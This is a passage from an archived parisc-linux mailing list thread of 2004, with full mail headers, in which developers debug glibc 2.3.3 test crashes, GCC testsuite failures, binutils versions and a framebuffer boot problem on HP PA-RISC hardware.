	by palinux.hppa (Postfix) with ESMTP id 18B97494734
	for <parisc-linux@parisc-linux.org>;
	Sat, 25 Sep 2004 09:17:11 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8PFGccP005802; Sat, 25 Sep 2004 11:16:39 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8PFGcog005801;
	Sat, 25 Sep 2004 11:16:38 -0400 (EDT)
In-Reply-To: <20040925123745.GZ27033@baldric.uwo.ca> from "Carlos O'Donell" at
	Sep 25, 2004 08:37:54 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24941

> > if i run the "as" command manually it seems to work.
> 
> I think something is broken with expect. Kernel builds seem to progress
> well. I'm running a glibc build right now to see if we pickup any
> regressions.

Actually, I think this is the register corruption issue that I've
mentioned before.  I've seen it affect expect, sh, make, and gcj.
I had a gdb testsuite die two days ago with a SEGV in expect that
looked as if r19 had been clobbered.  It was 0 in a shared library.
I don't know how it got to be 0 though.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (hppa glibc 2.3.3 exp.) Recompile expect, then
Date: Mon, 27 Sep 2004 00:22:13 -0400
Lines: 68
Approved: news@gmane.org
Message-ID: <20040927042212.GN27033@baldric.uwo.ca>
References: <20040926185101.GE27033@baldric.uwo.ca>
	<200409261903.i8QJ3gA9011157@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416624484 25896 80.91.229.3 (22 Nov 2014 02:48:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6992 invoked by uid 65534); 27 Sep 2004 04:22:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx021) with SMTP; 27 Sep 2004 06:22:49 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2DFFB3BE4B; Sun, 26 Sep 2004 22:22:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32376-07; Sun, 26 Sep 2004 22:22:47 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 98FD63BE53; Sun, 26 Sep 2004 22:22:28 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5579F3BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Sep 2004 22:22:24 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32376-03 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Sep 2004 22:22:23 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id E622D3BE34
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Sep 2004 22:22:22 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 7117549473F; Sun, 26 Sep 2004 22:22:22 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from baldric.uwo.ca (baldric.uwo.ca [129.100.10.225])
	by palinux.hppa (Postfix) with ESMTP id C8C2349473E
	for <parisc-linux@parisc-linux.org>;
	Sun, 26 Sep 2004 22:22:21 -0600 (MDT)
Original-Received: from carlos by baldric.uwo.ca with local (Exim 3.35 #1 (Debian))
	id 1CBn1h-0007rD-00; Mon, 27 Sep 2004 00:22:13 -0400
Content-Disposition: inline
In-Reply-To: <200409261903.i8QJ3gA9011157@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.3.28i
X-Useless-Header: listen, love, accept, mindfullness, patience, and humility. 
X-Mailer: Neural Implant (50% Sync Ratio [=====.....])
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24942

On Sun, Sep 26, 2004 at 03:03:42PM -0400, John David Anglin wrote:
> > Does it spend 5 minutes writing errors to the terminal? :)
> 
> No.  It either dumps core or hangs.

Haha :)
 
> > Have you tried running the experimental glibc packages in a chroot?
> 
> Sorry, I haven't had time in the past few days.  I've had a contract
> to get GCC buiding on AIX 4.3.3.

I ran my own. How does this look? I don't like the SEGV there...

make[1]: Entering directory `/mnt/flaire/src/toolchain-build/src/gcc-build32-glibc-2.3.3/gcc'
(rootme=`${PWDCMD-pwd}`; export rootme; \
srcdir=`cd ../../gcc-cvs/gcc; ${PWDCMD-pwd}` ; export srcdir ; \
cd testsuite; \
EXPECT=expect ; export EXPECT ; \
if [ -f ${rootme}/../expect/expect ] ; then  \
   TCL_LIBRARY=`cd .. ; cd ../../gcc-cvs/gcc/../tcl/library ; ${PWDCMD-pwd}` ; \
    export TCL_LIBRARY ; fi ; \
runtest --tool gcc )
Test Run By carlos on Sun Sep 26 14:58:56 2004
Native configuration is hppa-unknown-linux-gnu

                === gcc tests ===

Schedule of variations:
    unix

Running target unix
Using /usr/share/dejagnu/baseboards/unix.exp as board description file for target.
Using /usr/share/dejagnu/config/unix.exp as generic interface file for target.
Using /home/carlos/fsrc/toolchain-build/src/gcc-cvs/gcc/testsuite/config/default.exp as tool-and-target-specific interface file.
Running /home/carlos/fsrc/toolchain-build/src/gcc-cvs/gcc/testsuite/gcc.c-torture/compile/compile.exp ...
FAIL: gcc.c-torture/compile/20020807-1.c  -O3 -fomit-frame-pointer  (test for excess errors)
FAIL: gcc.c-torture/compile/20020807-1.c  -O3 -g  (test for excess errors)
FAIL: gcc.c-torture/compile/20040602-1.c  -O0  (test for excess errors)
FAIL: gcc.c-torture/compile/20040602-1.c  -O1  (test for excess errors)
FAIL: gcc.c-torture/compile/20040602-1.c  -O2  (test for excess errors)
FAIL: gcc.c-torture/compile/20040602-1.c  -O3 -fomit-frame-pointer  (test for excess errors)
FAIL: gcc.c-torture/compile/20040602-1.c  -O3 -g  (test for excess errors)
FAIL: gcc.c-torture/compile/20040602-1.c  -Os  (test for excess errors)
Running /home/carlos/fsrc/toolchain-build/src/gcc-cvs/gcc/testsuite/gcc.c-torture/execute/builtins/builtins.exp ...
got a SEGV signal, segmentation violation

                === gcc Summary ===

# of expected passes            3589
# of unexpected failures        8
# of expected failures          6
# of unsupported tests          30
WARNING: program timed out.
Couldn't determine version of /usr/bin/gcc:

This is the 3_4-branch from a little while back.

It looks like it's still running?

c.

_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] (hppa glibc 2.3.3 exp.) Recompile expect, then
Date: Mon, 27 Sep 2004 00:32:15 -0400 (EDT)
Lines: 31
Approved: news@gmane.org
Message-ID: <200409270432.i8R4WFrC013637@hiauly1.hia.nrc.ca>
References: <20040927042212.GN27033@baldric.uwo.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624484 25900 80.91.229.3 (22 Nov 2014 02:48:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:04 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: carlos@baldric.uwo.ca (Carlos O'Donell)
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 9969 invoked by uid 65534); 27 Sep 2004 04:32:49 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx037) with SMTP; 27 Sep 2004 06:32:49 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 65CB63BE5E; Sun, 26 Sep 2004 22:32:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 32630-02; Sun, 26 Sep 2004 22:32:46 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id E68343BE58; Sun, 26 Sep 2004 22:32:25 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E348B3BE47
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Sep 2004 22:32:19 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 32381-07 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Sep 2004 22:32:18 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id BF8563BE34
	for <parisc-linux@lists.parisc-linux.org>;
	Sun, 26 Sep 2004 22:32:18 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 7AF4F49473F; Sun, 26 Sep 2004 22:32:18 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by palinux.hppa (Postfix) with ESMTP id D597949473E
	for <parisc-linux@parisc-linux.org>;
	Sun, 26 Sep 2004 22:32:17 -0600 (MDT)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	i8R4WFcP013638; Mon, 27 Sep 2004 00:32:16 -0400 (EDT)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id i8R4WFrC013637;
	Mon, 27 Sep 2004 00:32:15 -0400 (EDT)
In-Reply-To: <20040927042212.GN27033@baldric.uwo.ca> from "Carlos O'Donell" at
	Sep 27, 2004 00:22:13 am
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24943

> I ran my own. How does this look? I don't like the SEGV there...

Not good.  See <http://gcc.gnu.org/ml/gcc-testresults/2004-09/msg01180.html>.

> FAIL: gcc.c-torture/compile/20020807-1.c  -O3 -fomit-frame-pointer  (test
> for excess errors)
> FAIL: gcc.c-torture/compile/20020807-1.c  -O3 -g  (test for excess errors)
> FAIL: gcc.c-torture/compile/20040602-1.c  -O0  (test for excess errors)
> FAIL: gcc.c-torture/compile/20040602-1.c  -O1  (test for excess errors)
> FAIL: gcc.c-torture/compile/20040602-1.c  -O2  (test for excess errors)
> FAIL: gcc.c-torture/compile/20040602-1.c  -O3 -fomit-frame-pointer  (test
> for excess errors)
> FAIL: gcc.c-torture/compile/20040602-1.c  -O3 -g  (test for excess errors)
> FAIL: gcc.c-torture/compile/20040602-1.c  -Os  (test for excess errors)

I've never seen these fail.  Look in gcc.log.  I may provide some
clues.  If not, compile the test manually and see what's wrong.

Most of the gcc suite doesn't use glibc much.  Thus, it may be gcc
has been miscompiled.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No 2.6 kernel on 735/125 with CRX24?
Date: Mon, 27 Sep 2004 17:13:00 +0000
Lines: 56
Approved: news@gmane.org
Message-ID: <4152E81E00000BF8@mail-8-bnl.mail.tiscali.sys>
References: <200409271828.31259.j.raspe@t-online.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624485 25906 80.91.229.3 (22 Nov 2014 02:48:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: j.raspe@t-online.de
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 16997 invoked by uid 65534); 27 Sep 2004 17:13:23 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx018) with SMTP; 27 Sep 2004 19:13:23 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 2BD263BE5F; Mon, 27 Sep 2004 11:13:21 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07249-05; Mon, 27 Sep 2004 11:13:21 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 8A7493BE5A; Mon, 27 Sep 2004 11:13:11 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 247F63BE52
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 11:13:06 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07249-02 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 11:13:05 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id EFAD53BE50
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 11:13:04 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id 9BB8F494741; Mon, 27 Sep 2004 11:13:04 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-8-bnl.tiscali.it (mail-8-bnl.tiscali.it [213.205.33.228])
	by palinux.hppa (Postfix) with ESMTP id 1CBFD494740
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Sep 2004 11:13:04 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-8-bnl.tiscali.it with HTTP;
	Mon, 27 Sep 2004 19:13:00 +0200
In-Reply-To: <200409271828.31259.j.raspe@t-online.de>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24944

Hello Johannes,
> >
[...]
> I tried:
> palinux-712-defconfig-2.6.8.1-pa11
> palinux-b180-defconfig-2.6.8.1-pa11
> palinux-32-2.6.6-pa4
> palinux-712-defconfig-2.6.6-pa4
> palinux-b180-defconfig-2.6.6-pa4
> 
> all with the same result as before.
> 
> After that I compiled a 2.6.9-rc2-pa7 kernel without support for frameb=
uffer
> 
> (CONFIG_FB) which booted perfectly with serial console.
Cool :)

> So I think we can track down the problem to the framebuffer driver in
the
> 
> kernels > 2.6 with my graphics device, which should be supported accord=
ing
> to 
> the beginning of stifb.c.

I trust that it's a known issue: read the thread on debian-hppa <http://l=
ists.debian.org/debian-hppa/2004/09/msg00000.html>


> I attached both, the 2.4 and the 2.6 dmesg.
> 
Thanks

> What could I try next ??
> 
It seems that severall are already working on this pb :).

Regards,
    Joel

-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: hppa glibc 2.3.3 experimental debs - patch
Date: Mon, 27 Sep 2004 17:21:35 +0000
Lines: 44
Approved: news@gmane.org
Message-ID: <4152E81E00000C00@mail-8-bnl.mail.tiscali.sys>
References: <200409251746.i8PHkdTf006288@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="ISO-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624485 25908 80.91.229.3 (22 Nov 2014 02:48:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:48:05 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:43 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 31048 invoked by uid 65534); 27 Sep 2004 17:22:17 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx055) with SMTP; 27 Sep 2004 19:22:17 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id ABF6B3BE50; Mon, 27 Sep 2004 11:22:04 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 07271-07; Mon, 27 Sep 2004 11:22:04 -0600 (MDT)
Original-Received: from free.linux.external.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id A90E73BE53; Mon, 27 Sep 2004 11:21:51 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 5928A3BE50
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 11:21:47 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 07271-05 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 11:21:46 -0600 (MDT)
Original-Received: from palinux.hppa (palinux.external.hp.com [192.25.206.14])
	by free.linux.hp.com (Postfix) with ESMTP id 054663BE49
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 27 Sep 2004 11:21:45 -0600 (MDT)
Original-Received: by palinux.hppa (Postfix)
	id B5502494741; Mon, 27 Sep 2004 11:21:45 -0600 (MDT)
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail-8-bnl.tiscali.it (mail-8-bnl.tiscali.it [213.205.33.228])
	by palinux.hppa (Postfix) with ESMTP id 1EFC8494740
	for <parisc-linux@parisc-linux.org>;
	Mon, 27 Sep 2004 11:21:45 -0600 (MDT)
Original-Received: from [57.67.177.33] by mail-8-bnl.tiscali.it with HTTP;
	Mon, 27 Sep 2004 19:21:35 +0200
In-Reply-To: <200409251746.i8PHkdTf006288@hiauly1.hia.nrc.ca>
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:24945

> 
> > Whish binutils are you using?
> > Duno if it's relevant but I noticed that debian is a rare distro usin=
g
> 2.15
> > while many time it seems that 2.15.91.0.2 is prefered 
> > as
> > <http://www.kernel.org/pub/linux/devel/binutils/release.binutils-2.15=
.91.0.2
> 
> Linux binutils isn't tested on parisc-linux.
hmm fwiw, I try first to rebuild 2.15 deb package but it failed?
Otc with my script, I reach to rebuild 2.15.91.0.2 without pb :)
But with make -k check I encounter 41 FAIL :( (eventhought some seems ok
as far as only build the static lib first)

How to analyse?
How to compare: going forward with CVS or backward with 2.15?

>   If you use this, you are
> adding another organization to the support loop (hjl@lucon.org).  I cou=
ld
> be wrong but I believe that Lu does this work for Intel.
> 
Much more work before anything else I trust ;)

Joel


-------------------------------------------------------------------------=
--
Tiscali ADSL GO, 29,50 Euro/mois pendant toute une ann=E9e, profitez-en..=
.
http://reg.tiscali.be/adsl/welcome.asp?lg=3DFR




_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:36:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: j.raspe@t-online.de (Johannes Raspe)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] No 2.6 kernel on 735/125 with CRX24?
Date: Mon, 27 Sep 2004 21:10:59 +0200
Lines: 74
Approved: news@gmane.org
Message-ID: <200409272110.59787.j.raspe@t-online.de>
References: <4152E81E00000BF8@mail-8-bnl.mail.tiscali.sys>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-15"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624485 25911 80.91.229.3 (22 Nov 2014 02:48:05 GMT)
X-Complaints-To: usenet@ger.gmane.org
